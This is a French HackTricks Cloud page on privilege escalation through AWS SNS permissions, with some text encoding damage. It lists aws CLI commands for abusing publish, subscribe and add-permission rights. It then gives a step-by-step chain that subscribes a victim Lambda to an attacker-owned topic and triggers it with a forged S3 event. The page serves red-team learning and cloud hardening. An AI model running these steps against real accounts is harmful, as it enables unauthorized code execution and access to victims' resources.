AWS - SNS Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SNS
Pour plus dâinformations, consultez :
sns:Publish
Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, pouvant potentiellement provoquer une corruption de données, déclencher des actions non désirées ou épuiser les ressources.
aws sns publish --topic-arn <value> --message <value>
Impact potentiel : Exploitation de vulnérabilités, corruption de données, actions involontaires ou épuisement des ressources.
sns:Subscribe
Un attaquant pourrait sâabonner Ă un SNS topic, obtenant potentiellement un accĂšs non autorisĂ© aux messages ou perturbant le fonctionnement normal des applications qui sâappuient sur ce topic.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potential Impact: AccĂšs non autorisĂ© aux messages (informations sensibles), perturbation du service pour les applications sâappuyant sur le topic affectĂ©.
sns:AddPermission
Un attaquant pourrait accorder Ă des utilisateurs ou services non autorisĂ©s lâaccĂšs Ă un topic SNS, obtenant potentiellement des autorisations supplĂ©mentaires.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Impact potentiel : accÚs non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications dépendant du topic.
Invoquer une Lambda en abusant dâune permission SNS gĂ©nĂ©rique (no SourceArn)
Si la politique basĂ©e sur les ressources dâune fonction Lambda autorise sns.amazonaws.com Ă lâinvoquer sans restreindre le topic source (SourceArn), nâimporte quel topic SNS (mĂȘme dans un autre compte) peut sâabonner et dĂ©clencher la fonction. Un attaquant disposant de permissions SNS basiques peut forcer la fonction Lambda Ă sâexĂ©cuter sous le rĂŽle IAM de la fonction avec des entrĂ©es contrĂŽlĂ©es par lâattaquant.
Tip
TODO : Est-ce vraiment possible entre comptes ?
Préconditions
- La politique de la Lambda victime contient une déclaration comme ci-dessous, SANS condition
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Ătapes dâabus (mĂȘme compte ou entre comptes)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Impact potentiel: La Lambda victime sâexĂ©cute avec son rĂŽle IAM, traitant des entrĂ©es contrĂŽlĂ©es par lâattaquant. Cela peut ĂȘtre abusĂ© pour amener la fonction Ă effectuer des actions sensibles (par ex., Ă©crire dans S3, accĂ©der Ă des secrets, modifier des ressources) selon ses permissions.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

